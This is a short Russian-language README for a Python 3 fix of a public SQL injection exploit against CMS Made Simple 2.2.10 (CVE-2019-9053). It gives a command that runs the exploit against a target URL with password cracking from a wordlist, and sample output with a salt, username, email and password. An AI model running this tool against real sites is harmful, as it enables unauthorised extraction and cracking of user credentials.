CMS-Made-Simple-2.2.10---SQL-Injection-Exploit-с-исправлением-ошибок

Эксплойт был исправлен для поддержки Python 3.

CVE-2019-9053

Исходный источник эксплойта: https://www.exploit-db.com/exploits/46635

Возможная ошибка и её исправление

Traceback (most recent call last): File "46635.py", line 12, in from termcolor import colored ImportError: No module named termcolor

Исправление

pip install termcolor

Пример команды

python cve.py -u http://target --crack -w /usr/share/wordlists/best110.txt


Пример результата:

root@kitploit:~

  [+] Salt for password found: 18
  [+] Username found: mitw
  [+] Email found: adk
  [+] Password found: 0c01f4468d

Пользователи несут полную ответственность за любые действия, выполненные с помощью этого инструмента.

Если эти условия вам не подходят, не используйте этот инструмент.

Пожалуйста, используйте этот инструмент только в средах, где у вас есть разрешение на проведение тестов на проникновение.

Пожалуйста, не используйте этот инструмент в злонамеренных целях.